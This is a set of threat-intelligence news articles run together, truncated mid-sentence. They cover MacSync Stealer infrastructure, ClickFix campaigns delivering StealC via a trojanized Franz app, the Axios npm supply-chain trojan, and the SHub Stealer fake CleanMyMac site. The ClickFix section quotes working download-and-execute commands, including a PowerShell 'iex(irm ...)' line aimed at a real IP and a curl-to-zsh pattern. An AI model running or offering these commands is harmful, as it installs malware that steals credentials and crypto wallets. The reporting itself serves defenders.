zsh

Microsoft Defender Experts have linked more than 30 web domains to MacSync Stealer, a macOS-focused information stealer, after correlating recurring endpoint and network behaviors across changing infrastructure, tracing the malware from payload retrieval through data collection, staging, and exfiltration. The tech giant said it required multiple endpoint and network behaviors to align before treating a domain as connected, including process ancestry, command-line patterns, request paths, headers, and upload parameters. Microsoft did not disclose a victim count or attribute the activity to a named threat actor in the report published Tuesday. "The investigation also confirmed active data exfiltration, not just beaconing," the company said. According to the analysis, observed execution began from an interactive zsh Terminal session consistent with ClickFix social engineering, followed by curl retrieving attacker-controlled content over a recurring /curl/ path and native utilities such as Base64 and gunzip decoding or unpacking the payload. The payload uses osascript for AppleScript-assisted execution alongside native macOS and Unix utilities, before collecting host and user information, macOS Keychain material, browser credentials and cookies, session data, Apple Notes, Secure Shell (SSH) keys, Amazon Web Services (AWS) credentials, Kubernetes configurations, browser history, and sensitive files from common user directories. Collected data is staged under /tmp/sync*, compressed into /tmp/osalogging.zip, split into multiple chunks, and uploaded with curl through HTTP PUT requests using recurring parameters such as upload_id, chunk_index, and total_chunks. The malware removes temporary archives, staging folders, lock files, and other artifacts after exfiltration. The disclosure builds on RST Cloud's May 8 analysis, which documented a static API key across four confirmed command-and-control (C2) domains and identified 11 additional candidate domains through recurring /dynamic?txd= and /gate?buildtxd= URI patterns. Several candidates had overlapping submission windows, which RST Cloud said was consistent with parallel C2 operation rather than strict sequential rotation between hostnames. "The hex build token rotates per deployment, the api-key does not," RST Cloud said. A comparison of the two published indicator sets by The Hacker News found that four domains Microsoft now lists, lalandscapelighting[.]com, lumenagnet[.]com, nailscanai[.]com, and numericagent[.]com, also appeared in RST Cloud's May candidate cluster. RST Cloud classified those domains as URI-pattern bound rather than API-key confirmed because it had not retrieved samples from each candidate to validate the static API-key match. Microsoft refers to API-key headers as a recurring MacSync trait, but its August 18 post does not publish the static value documented by RST Cloud or state that the same value appears across every domain in the current set. Microsoft said the recurring network traits include the /curl/, /dynamic?txd=, and /gate?buildtxd= paths, macOS User-Agent strings, API-key headers, and HTTP PUT uploads carrying the same chunk-management parameters. The researchers used those request shapes together with endpoint execution context to identify related infrastructure as the domains changed. Microsoft shared the following point-in-time domain indicators observed in activity consistent with MacSync Stealer - aihealthring[.]com cabinrentalsnc[.]com chatbasedos[.]com commercialroofingsd[.]com dogtrainersgeorgia[.]com fintelliganceai[.]com homeinspectionsdelaware[.]com intopython[.]com lalandscapelighting[.]com lumenagnet[.]com marbellaresales[.]com miamipcsupport[.]com moldinspectiondayton[.]com nailscanai[.]com newjerseypetsitter[.]com numericagent[.]com oaklandwaterdamage[.]com oklahomawarehousing[.]com olympiapetemergency[.]com peaecagent[.]com plasmaticsystems[.]com plethorawallet[.]com premierrentalpurchase[.]com ricewaterbeauty[.]com rvieragent[.]com sandiegotkd[.]com secueragent[.]com shiledagent[.]com syracusefertilitycenter[.]com vastbets[.]com wvaeagent[.]com Microsoft advised organizations to perform the following steps - Educate users not to paste or run Terminal commands from untrusted websites, chat messages, apps, files, or phone-based instructions. Monitor unusual Terminal, zsh , and shell sessions that retrieve payloads, decode content, or execute commands shortly after user interaction. Correlate AppleScript-assisted shell activity with credential-store access, archive creation under temporary paths, and subsequent outbound traffic. Monitor curl -based HTTP PUT uploads using--data-binary , API-key headers, upload identifiers, chunk indexes, total chunk counts, and recurring/gate URI patterns. Investigate connections to suspicious or newly registered domains while continuing to hunt for the request and process patterns that may persist after infrastructure changes. Apple has separately documented three protections available on macOS 26.4 and later: Terminal paste protection, pasteboard command blocking, and AppleScript scanning. After a 24-hour grace period following initial system setup, the Terminal warning applies when the user has not opened Terminal in more than 30 days, no common developer tooling is detected, and the paste originates from a specified application such as a web browser or messaging app. XProtect can trace the process tree produced by pasted terminal commands, check associated network artifacts against Apple's Safe Browsing Service, and block behavior that matches known malware techniques. AppleScript and JavaScript for Automation executions are also inspected locally, including scripts executed directly from memory. The disclosure comes less than two weeks after Microsoft said it had confirmed more than 250 front-end domains in a macOS ClickFix campaign distributing MacSync and Atomic Stealer (AMOS) behind a server-side browser-fingerprinting gate. The August 18 report does not state that those front-end domains are the same infrastructure set as the more than 30 domains identified through the MacSync behavioral pivots.

Updated July 6 to add connections with SyncTDS and TrafficTDS ClickFix attacks, which trick people into running malicious commands themselves, continue to evolve. This latest campaign uses fake Google and Cloudflare verification pages to convince victims to infect their own devices. A single mistake can install malware that steals passwords and other sensitive data, gives attackers remote access to your computer, or downloads additional malware that can take full control of your system. We uncovered multiple campaigns using the same infrastructure to deliver malware including HijackLoader, StealC, Remus, Amatera Stealer, CastleLoader, NetSupport, and a Rust-based stealer. In one infection chain, a trojanized version of the legitimate Franz messaging app downloads a previously undocumented loader dubbed ResiLoader, which disables security software before deploying the StealC infostealer. Before we look at the technical details, here’s how to avoid becoming the next victim. How to stay safe ClickFix attacks rely on convincing you to run commands yourself. The safest approach is simple: Never copy and run commands from a website unless you’re following instructions from a trusted source and understand exactly what the command does. Be wary of verification pages. Google, Cloudflare, Microsoft, and other legitimate services will never ask you to paste PowerShell commands into Windows to prove you’re human or fix a problem. Don’t let urgency rush you. Fake verification pages often use countdown timers, visitor counters, or warnings to pressure you into acting quickly. Keep your security software up to date. Real-time protection and web protection can help block malicious websites before you reach them. Question unexpected technical instructions. If a website tells you to open PowerShell, Command Prompt, or Terminal, stop and verify the instructions through the company’s official support channels. Pro tip: Malwarebytes Browser Guard can warn you when a website attempts to copy content to your clipboard—a common trick used by ClickFix pages. Technical analysis The campaigns analysed in this research have been active since at least late 2025 and use a variety of fake Google and Cloudflare pages to deliver malware. Although the lures differ, they share much of the same infrastructure and infection chain, with the attackers continually testing new delivery methods and payloads. Different lures, one goal Most of the campaigns share several characteristics: Use of the folder C:\ProgramData\Zooms to extract later stages PowerShell ClickFix commands that follow similar patterns Use of Cloudflare R2 buckets to deliver payloads IP addresses hosted by the ASN Dedik Services Limited HTML responses containing only the phrase "hehe" These indicators have changed over time, so they don’t appear in every infection chain. The campaigns continue to evolve, with new payloads and delivery methods regularly introduced. For example, in some cases, the IP address is used directly for payload distribution instead of buckets. The final command copied by the user usually falls into this pattern: powershell -c “iex(irm ‘{IP}:{Port}/{Random Path}’ -UseBasicParsing)” The port and the path are not always present in the cases analyzed; the ports are random, but some used ones are: 6600, 9900, 5506, 7895, 7493, 149, 8442. To execute these commands, several ClickFix-related templates are used, mainly related to Google and Cloudflare. We also detected that in some cases the PowerShell command was distributed through the IClickFix framework. We observed these ClickFix campaigns being distributed through: Old websites that have likely expired and been repurchased by the actor(s). CloudFlare Pages (.pages.dev domains). Compromised websites. Fake services, for example related to QR code or web file access. Google ClickFix lures The actors behind these campaigns use various Google-related HTML pages and kits. One lure impersonates Google reCAPTCHA verification. The pages are hosted on random URLs that display fake or malicious content. These domains are often older registrations that recently began resolving to new IP addresses, suggesting they were repurposed for the campaign. Some of these pages have URL parameters like such as “zoneid”, “cost”, “device”, “country”, “clickid”, for example: /conf/captcha.html?zoneid=10420852 /wincapbot/nobot.html /xmr/trkuste.php?zone=5327134 bless.php?zoneid=10327549&clickid=1091581084925173761&cost=0.000000&country=US&device=desktop In this case, the functions related to ClickFix are implemented in the class CustomCaptcha. The command is present in clear without any obfuscation. Another distribution method uses Cloudflare Pages hosted on .pages.dev subdomains. In this case, the HTML page is obfuscated by declaring several variables and XORing them. The deobfuscated code is called SECURITY GATEWAY and it’s composed of the functions GatewayRuntime, RemoteVault, BeaconDispatcher, Clipboard, TokenController, and PanelController. The code allows the attackers to retrieve the command either remotely or locally. In this sample, the malicious PowerShell command is stored locally. We also found that some of these domains have distributed another decoy in the past, in this case associated with an unauthorized Google login. This ClickFix lure asks the user to copy and paste the malicious command to set their device as primary. The interesting part of this ClickFix kit is that it features an “approval gate,” as described in the comments, and that the attacker must manually choose from the panel which command to have the user execute. In more recent campaigns, we’ve detected a ClickFix lure related to Google Meet, which requires copying and pasting a malicious command to fix audio issues. In the analyzed cases, the endpoint /api/driver-clipboard.php returned the following malicious command: {"mac":"curl -kfsSL $(echo '…'|base64 -D)|zsh","windows":"powershell -c \"iex(irm '151.240.151.126/rRlmZcaaZfAE3U2BaH' -UseBasicParsing)\""} Other lures The actors behind this campaign use various kits and lures, mostly related to Google. However, we’ve detected other lures that copied commands related to the same infrastructure. The attackers behind these campaigns also compromise multiple websites using different templates related to the CloudFlare ClickFix lure. We have detected several templates used for CloudFlare pages. The command is present in clear or in some cases obfuscated in the cases analyzed. We also detected some specifically created fake services websites. For example, a “My QR Generator” site displays an obfuscated QR code and asks the user to run a PowerShell command to verify that the user is not a robot. In this case the command is encoded in base-64: PowerShell downloader The ClickFix command executed by the user decodes a script and drops it into the Temp folder with the name tmp{4 char}.tmp.ps1. We have detected several variations of this script, but recent versions do the following: Create the folder C:\ProgramData\Zooms . Download the next stage from a CloudFlare bucket and save it in C:\ProgramData\Zooms . In some variants of the script, the next stage is downloaded directly from an IP. Send the information of the compromised machine to http://{IP}/dl-callback . In some variants of the script, this part is not present. The attackers behind these campaigns use a large number of different payloads.The campaigns deliver a wide variety of payloads. The table below summarises some of the downloaded filenames and the malware they install. For many of the cases analyzed, the final payload was distributed via DLL Hijacking, as we will also see later for StealC stealer. We analyzed a new loader called ResiLoader that ultimately distributes StealC. We also detected that the threat actor in the latest campaigns has started using Deno to distribute a stealer developed in PowerShell at the end; the analysis of this infection chain could be the subject of a future blog post. Trojanized Electron app downloads ResiLoader In this case, the ZIP was downloaded from: pub-7080e0c20a0e47ca95a476869c532367.r2[.]dev/libEGL.zip After extraction to: C:\ProgramData\Zooms\libEGL.zip_ext The zip contains a trojanized version of the open-source messaging app called “Franz”: The malicious code is implemented in the index.js file: The downloader performs the following operations: Decode the strings with the function HC() . Reads readme.txt , expects a campaign key of the formAAAA-BBBB , returns it as an array of tokens. In this case the name isresiloader-1 and for this we call “ResiLoader” the downloaded DLL. Reads %APPDATA%\setup.txt ; if absent, generates a random 8-char string and persists it. Obtaining persistence using app.setLoginItemSettings . Sends a POST request to https[:]//completstep[.]com/api/ and elaborate the JSON response - If task.e is present, it executeseval(task.e) ; it allows the attacker to execute arbitrary JavaScript code. - If task.files is present, create%TEMP%\ \ , decode and write each file; if any filename ends in.exe , run it viachild_process.exec . If In our case we received a ZIP that performs the DLL hijacking of ssh-add.exe: {"task":{"name":"JUNE18USY","files":{ "msys-2.0.dll":" ", "msys-crypto-3.dll":" ", "msys-gcc_s-seh-1.dll":" ", "ssh-add.exe":" " }}} After, the executable was executed with: C:\WINDOWS\system32\cmd.exe /d /s /c ""C:\Users\{user}\AppData\Local\Temp\1782122017599\ssh-add.exe"" ResiLoader The msys-crypto-3.dll is an obfuscated .NET NativeAOT loader that implements AV/EDR evasion using a BYOD technique, obtain persistence and ultimately loads the stealer StealC. We didn’t find a specific attribution for this loader and so we called it “ResiLoader” based on the string present in previous readme.txt. The loader contains several strings, some clear and some encrypted. After decrypting the strings, it’s possible to have a full picture of the functionality of the ResiLoader. MANPO: ReadModule len=... MANPO: magicOffset=... … PERS: FAIL all file copies failed, skipping run key PERS: FAIL both HKLM and HKCU Run key writes failed … RUNPE: CreateProcess failed RUNPE: PEB patched RUNPE: VirtualAllocEx failed … POST: RunForever exited (unexpected) POST: entering RunForever POST: hollow= The loader performs the following operations: Extract the encoded blob containing two payloads reading the marker AtLorenBase and the length of the encoded blob. After, it decodes the blob and decrypts the driverpcdhost.sys (OPSWAT AppRemover Driver) and StealC payload using a custom decryption algorithm. Terminate more than 140 processes related to EDR/AV processes using the dropped driver. Perform UAC bypass via ICMLuaUtil Elevated COM Interface. Create a folder C:\ProgramData\Google Update , copying itself; adding persistence using the RUN Registry Key cmd /c start "" /D "C:\ProgramData\Google Update" ssh-add.exe In the end, the loader performs process hollowing of the process ServiceModelReg.exe to run the StealC stealer. Connections with SyncTDS and TrafficTDS We found several other ClickFix campaigns and kits potentially linked to the same operator(s), although there is not enough evidence to confirm this. The domain dasdasdikasjdas[.]click resolves to one of the IPs related to this campaign 151[.]240[.]151[.]126. The domain previously returned a panel called “SyncTDS”. We found more than 20 domains that return the SyncTDS related panel. This panel has also changed graphics over time. One of these “SyncTDS” domains, maskingofking[.]xyz, resolves to 193.111.117[.]6 which hosts several ClickFix-related domains and an open directory containing an interesting kit called “TrafficTDS.” This kit allows the operator to support different payloads related to Windows, Linux, MacOS and Android. In this case, the pages shown to the user are related to ClickFix with a CloudFlare lure. One of the most interesting parts of this kit is the “APK manager” section, which allows the operator to show the user an “Update Required” page to download the malicious APK. IOCs Hash 72907d0ca3258365838626f6a8d993a6: ResiLoader DLL 0234E3188F2883A438B3F2BEAB7A78B2: StealC 6a9ac6b3fff7b695dbd4df6ff7f6c516: Remus 206ce339febca0c3bcc850f42595fc63: Amatera Stealer eee416efcb1e33f220cdb4b05496a07a: NetSupport RAT b8d53740024d126cb55f83854335a4ab: Rust Stealer Domains Distribute ClickFix pages: onegeekworld[.]com thefirmos[.]com antibotv3[.]com centralwildcats[.]com cloud.antibotv3[.]com cloudautosolutions[.]com sunseekersupply[.]com 123clocks[.]com orcanegames[.]com rwmonitoring[.]com 100furniture[.]com nepalcharchaa[.]com p-floribunds.pages[.]dev pg-altirade2.pages[.]dev pg-cordivant-m6.pages[.]dev g-luminence.pages[.]dev generator-qrcode[.]online regdev-google[.]com khosla[.]capital eorgke09054909j[.]com dropboxi[.]com CloudFlare buckets used for payload distribution: pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev pub-620528e2dc874e16937673265aa23d39.r2[.]dev pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev pub-9682d5896df841679c5a17eb41273f89.r2[.]dev pub-18d99d0d18b94e85824c1cc4d5b5c637.r2[.]dev pub-0170eabb9df346bd822f863b7c3946e3.r2[.]dev pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev unitedstateverif[.]com: payload distribution bigflaredefence[.]com: payload distribution popularcard[.]shop: Rust Stealer C2 xzz[.]proxygrid[.]cc: Amatera Stealer C2 completstep[.]com: Loader C2 eventlogerps1[.]ink: Deno Loader be231ro963[.]com: Deno Loader IPs IP used for payload distribution: 151.240.151[.]126 85.239.149[.]16 85.239.149[.]40 93.152.224[.]29 151.240.151[.]46 93.152.224[.]167 85.239.149[.]78 192.69.195[.]131 135.181.171[.]40 94.26.83[.]206 91.92.34[.]128 85.239.144[.]31 93.152.224[.]39 94.26.90[.]112 146.19.248[.]120: StealC C2 Acknowledgements Related domain reported: https://x.com/stop_spammerz/status/2070152741037477960 Related domain reported: https://x.com/Yuki27183/status/2047354005605777850 User infection reported on Reddit: https://www.reddit.com/r/antivirus/comments/1stn24v/best_thing_to_do_after_getting_malware/ Possible related infection chain https://github.com/MessyToilet/csgo-scam-via-powershell-5-31-2026 Similar open directory reported: https://x.com/malwrhunterteam/status/2062241642627694690 Similar campaign reported: https://x.com/stop_spammerz/status/2062269326292324592

The popular HTTP client known as Axios has suffered a supply chain attack after two newly published versions of the npm package introduced a malicious dependency that delivers a trojan capable of targeting Windows, macOS, and Linux systems. Versions 1.14.1 and 0.30.4 of Axios have been found to inject "plain-crypto-js" version 4.2.1 as a fake dependency. According to StepSecurity, the two versions were published using the compromised npm credentials of the primary Axios maintainer ("jasonsaayman"), allowing the attackers to bypass the project's GitHub Actions CI/CD pipeline. "Its sole purpose is to execute a postinstall script that acts as a cross-platform remote access trojan (RAT) dropper, targeting macOS, Windows, and Linux," security researcher Ashish Kurmi said. "The dropper contacts a live command and control server and delivers platform-specific second-stage payloads. After execution, the malware deletes itself and replaces its own package.json with a clean version to evade forensic detection." Users who have Axios versions 1.14.1 or 0.30.4 installed are required to rotate their secrets and credentials with immediate effect, and downgrade to a safe version (1.14.0 or 0.30.3). The malicious versions, as well as "plain-crypto-js," are no longer available for download from npm. With more than 83 million weekly downloads, Axios is one of the most widely used HTTP clients in the JavaScript ecosystem across frontend frameworks, backend services, and enterprise applications. "This was not opportunistic," Kurmi added. "The malicious dependency was staged 18 hours in advance. Three separate payloads were pre-built for three operating systems. Both release branches were hit within 39 minutes. Every trace was designed to self-destruct." The timeline of the attack is as follows - March 30, 2026, 05:57 UTC - A clean version of the package "[email protected]" is published. March 30, 2026, 23:59 UTC - A new version ("[email protected]") with the payload added is published. March 31, 2026, 00:21 UTC - A new version of Axios ("[email protected]") that injects "[email protected]" as a runtime dependency is published using the compromised "jasonsaayman" account. March 31, 2026, 01:00 UTC - A new version of Axios ("[email protected]") that injects "[email protected]" as a runtime dependency is published using the compromised "jasonsaayman" account. According to StepSecurity, the threat actor behind the campaign is said to have compromised the npm account of "jasonsaayman" and changed its registered email address to a Proton Mail address under their control ("[email protected]"). The "plain-crypto-js" was published by an npm user named "nrwise" with the email address "[email protected]." It's believed that the attacker obtained a long-lived classic npm access token for the account to take control and directly publish poisoned versions of Axios to the registry. The embedded malware, for its part, is launched via an obfuscated Node.js dropper ("setup.js") and is designed to branch into one of three attack paths based on the operating system - On macOS, it runs an AppleScript payload to fetch a trojan binary from an external server ("sfrclak.com:8000"), save it as "/Library/Caches/com.apple.act.mond," change its permissions to make it executable, and launch it in the background via /bin/zsh. The AppleScript file is deleted after execution to cover up the tracks. On Windows, it locates the PowerShell binary path, copies it to the "%PROGRAMDATA%\wt.exe" (disguising it as the Windows Terminal app), and writes a Visual Basic Script (VBScript) to the temp directory and executes it. The VBScript contacts the same server to fetch a PowerShell RAT script and execute it. The downloaded file is then deleted. On other platforms (e.g., Linux), the dropper runs a shell command via Node.js’s execSync to fetch a Python RAT script from the same server, save it to "/tmp/ld.py," and execute it in the background using the nohup command. "Each platform sends a distinct POST body to the same C2 URL — packages.npm.org/product0 (macOS), packages.npm.org/product1 (Windows), packages.npm.org/product2 (Linux)," StepSecurity said. "This allows the C2 server to serve a platform-appropriate payload in response to a single endpoint." The downloaded second-stage binary for macOS is a C++ RAT that fingerprints the system and beacons to a remote server every 60 seconds to retrieve commands for subsequent execution. It supports capabilities to run additional payloads, execute shell commands, enumerate the file system, and terminate the RAT. SafeDep's analysis of the Linux RAT has revealed that it supports the same commands as its macOS counterpart. The absence of a persistence mechanism means that the malware does not survive across reboots. This indicates that the attack is either geared towards quick data exfiltration or leverages the RAT's ability to run binaries and shell commands to deploy persistence. "The attack is notable for its restraint. No Axios source files were modified, making traditional diff-based code review less likely to catch it," SafeDep said. "The malicious behavior lives entirely in a transitive dependency, triggered automatically by npm's postinstall lifecycle." The PowerShell RAT targeting Windows is no different in that it also facilitates the same functionality to execute arbitrary DLLs in memory, run PowerShell commands, list directories with file metadata, and gracefully kill itself. Unlike the macOS and Linux variants, the RAT creates "%PROGRAMDATA%\system.bat" with a download cradle that re-fetches the malware from the server on every login and adds a Registry Run key pointing to the batch script. "On every compromised host, the RAT performed immediate system reconnaissance: enumerating user directories, filesystem drive roots, and running processes, and transmitted this data to the C2," Huntress researcher John Hammond said. "The RAT maintained a 60-second beacon loop, ready to accept further commands including arbitrary script execution and in-memory binary injection." As Elastic Security Labs pointed out, the attack makes use of three parallel implementations of the same RAT – PowerShell for Windows, compiled C++ for macOS, Python for Linux – that shares an identical C2 protocol, command set, message format, and operational behavior. "The consistency strongly indicates a single developer or tightly coordinated team working from a shared design document," the company said. Once the main payload is launched, the Node.js malware also takes steps to perform three forensic cleanup steps by removing the postinstall script from the installed package directory, deleting the "package.json" the references the postinstall hook to launch the dropper, and renaming "package.md" to "package.json." It's worth noting that the "package.md" file is included in "plain-crypto-js" and is a clean "package.json" manifest without the postinstall hook that triggers the entire attack. In switching the package manifests, the idea is to avoid raising any red flags during post-infection inspection of the package. "Neither malicious version contains a single line of malicious code inside Axios itself," StepSecurity said. "Instead, both inject a fake dependency, [email protected], a package that is never imported anywhere in the Axios source, whose only purpose is to run a postinstall script that deploys a cross-platform remote access trojan (RAT)." It's currently not known who is behind the supply chain compromise, but Elastic said the macOS Mach-O binary delivered by the "plain-crypto-js" postinstall hook exhibits significant overlap with WAVESHAPER, a C++ backdoor tracked by Google-owned Mandiant last month and attributed to a North Korean threat actor known as UNC1069. Users are advised to perform the following actions to ascertain compromise - Check for the malicious Axios versions. Check for RAT artifacts: "/Library/Caches/com.apple.act.mond" (macOS), "%PROGRAMDATA%\wt.exe" (Windows), and "/tmp/ld.py" (Linux). Downgrade to Axios versions 1.14.0 or 0.30.3. Remove "plain-crypto-js" from the "node_modules" directory. If RAT artifacts are detected, assume compromise and rotate all credentials on the system. Audit CI/CD pipelines for runs that installed the affected versions. Block egress traffic to the command-and-control domain ("sfrclak[.]com") Socket, in its own analysis of the attack, said identified two additional packages distributing the same malware through vendored dependencies - @shadanai/openclaw (versions 2026.3.28-2, 2026.3.28-3, 2026.3.31-1, and 2026.3.31-2) @qqbrowser/openclaw-qbot (version 0.0.130) In the case of "@shadanai/openclaw," the package vendors the malicious "plain-crypto-js" payload directly (e.g., @shadanai/openclaw/files/2026.3.31-1/dist/extensions/slack/node_modules/plain-crypto-js/setup.js). On the other hand, "@qqbrowser/[email protected]," ships a tampered "[email protected]" in its "node_modules/" folder with "plain-crypto-js" injected as a dependency. "The real axios has only three dependencies (follow-redirects, form-data, proxy-from-env)," the supply chain security company said. "The addition of plain-crypto-js is unambiguous tampering. When npm processes this vendored axios, it installs plain-crypto-js and triggers the same malicious postinstall chain."

A convincing fake version of the popular Mac utility CleanMyMac is tricking users into installing malware. The site instructs visitors to paste a command into Terminal. If they do, it installs SHub Stealer, macOS malware designed to steal sensitive data including saved passwords, browser data, Apple Keychain contents, cryptocurrency wallets, and Telegram sessions. It can even modify wallet apps such as Exodus, Atomic Wallet, Ledger Wallet, and Ledger Live so attackers can later steal the wallet’s recovery phrase. The site impersonates the CleanMyMac website, but is unconnected to the legitimate software or the developers, MacPaw. Remember: Legitimate apps almost never require you to paste commands into Terminal to install them. If a website tells you to do this, treat it as a major red flag and do not proceed. When in doubt, download software only from the developer’s official website or the App Store. Read the deep-dive to see what we discovered. “Open Terminal and paste the following command” The attack begins at cleanmymacos[.]org, a website designed to look like the real CleanMyMac product page. Visitors are shown what appears to be an advanced installation option of the kind a power user might expect. The page instructs them to open Terminal, paste a command, and press Return. There’s no download prompt, disk image, or security dialog. That command performs three actions in quick succession: First, it prints a reassuring line: macOS-CleanMyMac-App: https://macpaw.com/cleanmymac/us/app to make the Terminal output look legitimate. Next, it decodes a base64-encoded link that hides the real destination. Finally, it downloads a shell script from the attacker’s server and pipes it directly into zsh for immediate execution. From the user’s perspective, nothing unusual happens. This technique, known as ClickFix, has become a common delivery method for Mac infostealers. Instead of exploiting a vulnerability, it tricks the user into running the malware themselves. Because the command is executed voluntarily, protections such as Gatekeeper, notarization checks, and XProtect offer little protection once the user pastes the command and presses Return. Geofencing: Not everyone gets the payload The first script that arrives on the victim’s Mac is a loader, which is a small program that checks the system before continuing the attack. One of its first checks looks at the macOS keyboard settings to see whether a Russian-language keyboard is installed. If it finds one, the malware sends a cis_blocked event to the attacker’s server and exits without doing anything else. This is a form of geofencing. Malware linked to Russian-speaking cybercriminal groups often avoids infecting machines that appear to belong to users in CIS countries (the Commonwealth of Independent States, which includes Russia and several neighboring nations). By avoiding systems that appear to belong to Russian users, the attackers reduce the risk of attracting attention from local law enforcement. The behavior does not prove where SHub was developed, but it follows a pattern long observed in that ecosystem, where malware is configured not to infect systems in the operators’ own region. If the system passes this check, the loader sends a profile of the machine to the command-and-control server at res2erch-sl0ut[.]com. The report includes the device’s external IP address, hostname, macOS version, and keyboard locale. Each report is tagged with a unique build hash, a 32-character identifier that acts as a tracking ID. The same identifier appears in later communications with the server, allowing the operators to link activity to a specific victim or campaign. “System Preferences needs your password to continue” Comparing payloads served with and without a build hash reveals another campaign-level field in the malware builder: BUILD_NAME. In the sample tied to a build hash, the value is set to PAds; in the version without a hash, the field is empty. The value is embedded in the malware’s heartbeat script and sent to the command-and-control (C2) server during every beacon check-in alongside the bot ID and build ID. What PAds stands for cannot be confirmed from the payload alone, but its structure matches the kind of traffic-source tag commonly used in pay-per-install or advertising campaigns to track where infections originate. If that interpretation is correct, it suggests victims may be reaching the fake CleanMyMac site through paid placements rather than organic search or direct links. Once the loader confirms a viable target, it downloads and executes the main payload: an AppleScript hosted at res2erch-sl0ut[.]com/debug/payload.applescript. AppleScript is Apple’s built-in automation language, which allows the malware to interact with macOS using legitimate system features. Its first action is to close the Terminal window that launched it, removing the most obvious sign that anything happened. Next comes the password harvest. The script displays a dialog box that closely mimics a legitimate macOS system prompt. The title reads “System Preferences”, the window shows Apple’s padlock icon, and the message says: The awkward wording—“for continue” instead of “to continue”—is one clue the prompt is fake, though many users under pressure might not notice it. “Required Application Helper. Please enter password for continue.” If the user enters their password, the malware immediately checks whether it is correct using the macOS command-line tool dscl. If the password is wrong, it is logged and the prompt appears again. The script will repeat the prompt up to ten times until a valid password is entered or the attempts run out. That password is valuable because it unlocks the macOS Keychain, Apple’s encrypted storage system for saved passwords, Wi-Fi credentials, app tokens, and private keys. Without the login password, the Keychain database is just encrypted data. With it, the contents can be decrypted and read. A systematic sweep of everything worth stealing With the password in hand, SHub begins a systematic sweep of the machine. All collected data is staged in a randomly named temporary folder—something like /tmp/shub_4823917/—before being packaged and sent to the attackers. The browser targeting is extensive. SHub searches 14 Chromium-based browsers (Chrome, Brave, Edge, Opera, OperaGX, Vivaldi, Arc, Sidekick, Orion, Coccoc, Chrome Canary, Chrome Dev, Chrome Beta, and Chromium), stealing saved passwords, cookies, and autofill data from every profile it finds. Firefox receives the same treatment for stored credentials. The malware also scans installed browser extensions, looking for 102 known cryptocurrency wallet extensions by their internal identifiers. These include MetaMask, Phantom, Coinbase Wallet, Exodus Web3, Trust Wallet, Keplr, and many others. Desktop wallet applications are also targeted. SHub collects local storage data from 23 wallet apps, including Exodus, Electrum, Atomic Wallet, Guarda, Coinomi, Sparrow, Wasabi, Bitcoin Core, Monero, Litecoin Core, Dogecoin Core, BlueWallet, Ledger Live, Ledger Wallet, Trezor Suite, Binance, and TON Keeper. Each wallet folder is capped at 100 MB to keep the archive manageable. Beyond wallets and browsers, SHub also captures the macOS Keychain directory, iCloud account data, Safari cookies and browsing data, Apple Notes databases, and Telegram session files—information that could allow attackers to hijack accounts without knowing the passwords. It also copies shell history files (.zsh_history and .bash_history) and .gitconfig, which often contain API keys or authentication tokens used by developers. All of this data is compressed into a ZIP archive and uploaded to res2erch-sl0ut[.]com/gate along with a hardcoded API key identifying the malware build. The archive and temporary files are then deleted, leaving minimal traces on the system. The part that keeps stealing after you’ve cleaned up Most infostealers are smash-and-grab operations: they run once, take everything, and leave. SHub does that, but it also goes a step further. If it finds certain wallet applications installed, it downloads a replacement for the application’s core logic file from the attacker’s server and swaps it in silently. We retrieved and analyzed five such replacements. All five were backdoored, each tailored to the architecture of the target application. The targets are Electron-based apps. These are desktop applications built on web technologies whose core logic lives in a file called app.asar. SHub kills the running application, downloads a replacement app.asar from the C2 server, overwrites the original inside the application bundle, strips the code signature, and re-signs the app so macOS will accept it. The process runs silently in the background. The five confirmed crypto wallet apps are Exodus, Atomic Wallet, Ledger Wallet, Ledger Live, and Trezor Suite. Exodus: silent credential theft on every unlock On every wallet unlock, the modified app silently sends the user’s password and seed phrase to wallets-gate[.]io/api/injection. A one-line bypass is added to the network filter to allow the request through Exodus’s own domain allowlist. Atomic Wallet: the same exfiltration, no bypass required On every unlock, the modified app sends the user’s password and mnemonic to wallets-gate[.]io/api/injection. No network filter bypass is required—Atomic Wallet’s Content Security Policy already allows outbound HTTPS connections to any domain. Ledger Wallet: TLS bypass and a fake recovery wizard The modified app disables TLS certificate validation at startup. Five seconds after launch, it replaces the interface with a fake three-page recovery wizard that asks the user for their seed phrase and sends it to wallets-gate[.]io/api/injection. Ledger Live: identical modifications Ledger Live receives the same modifications as Ledger Wallet: TLS validation is disabled and the user is presented with the same fake recovery wizard. Trezor Suite: fake security update overlay After the application loads, a full-screen overlay styled to match Trezor Suite’s interface appears, presenting a fake critical security update that asks for the user’s seed phrase. The phrase is validated using the app’s own bundled BIP39 library before being sent to wallets-gate[.]io/api/injection. At the same time, the app’s update mechanism is disabled through Redux store interception so the modified version remains in place. Five wallets, one endpoint, one operator Across all five modified applications, the exfiltration infrastructure is identical: the same wallets-gate[.]io/api/injection endpoint, the same API key, and the same build ID. Each request includes a field identifying the source wallet—exodus, atomic, ledger, ledger_live, or trezor_suite—allowing the backend to route incoming credentials by product. This consistency across five independently modified applications strongly suggests that a single operator built all of the backdoors against the same backend infrastructure. A persistent backdoor disguised as Google’s own update service To maintain long-term access, SHub installs a LaunchAgent, which is a background task that macOS automatically runs every time the user logs in. The file is placed at: ~/Library/LaunchAgents/com.google.keystone.agent.plist The location and name are chosen to mimic Google’s legitimate Keystone updater. The task runs every sixty seconds. Each time it runs, it launches a hidden bash script located at: ~/Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/GoogleUpdate The script collects a unique hardware identifier from the Mac (the IOPlatformUUID) and sends it to the attacker’s server as a bot ID. The server can respond with base64-encoded commands, which the script decodes, executes, and then deletes. In practice, this gives the attackers the ability to run commands on the infected Mac at any time until the persistence mechanism is discovered and removed. The final step is a decoy error message shown to the user: “Your Mac does not support this application. Try reinstalling or downloading the version for your system.” This explains why CleanMyMac appeared not to install and sends the victim off to troubleshoot a problem that doesn’t actually exist. SHub’s place in a growing family of Mac stealers SHub is not an isolated creation. It belongs to a rapidly evolving family of AppleScript-based macOS infostealers including campaigns such as MacSync Stealer (an expanded version of malware known as Mac.c, first seen in April 2025) and Odyssey Stealer, and shares traits with other credential-stealing malware such as Atomic Stealer. These families share a similar architecture: a ClickFix delivery chain, an AppleScript payload, a fake System Preferences password prompt, recursive data harvesting functions, and exfiltration through a ZIP archive uploaded to a command-and-control server. What distinguishes SHub is the sophistication of its infrastructure. Features such as per-victim build hashes for campaign tracking, 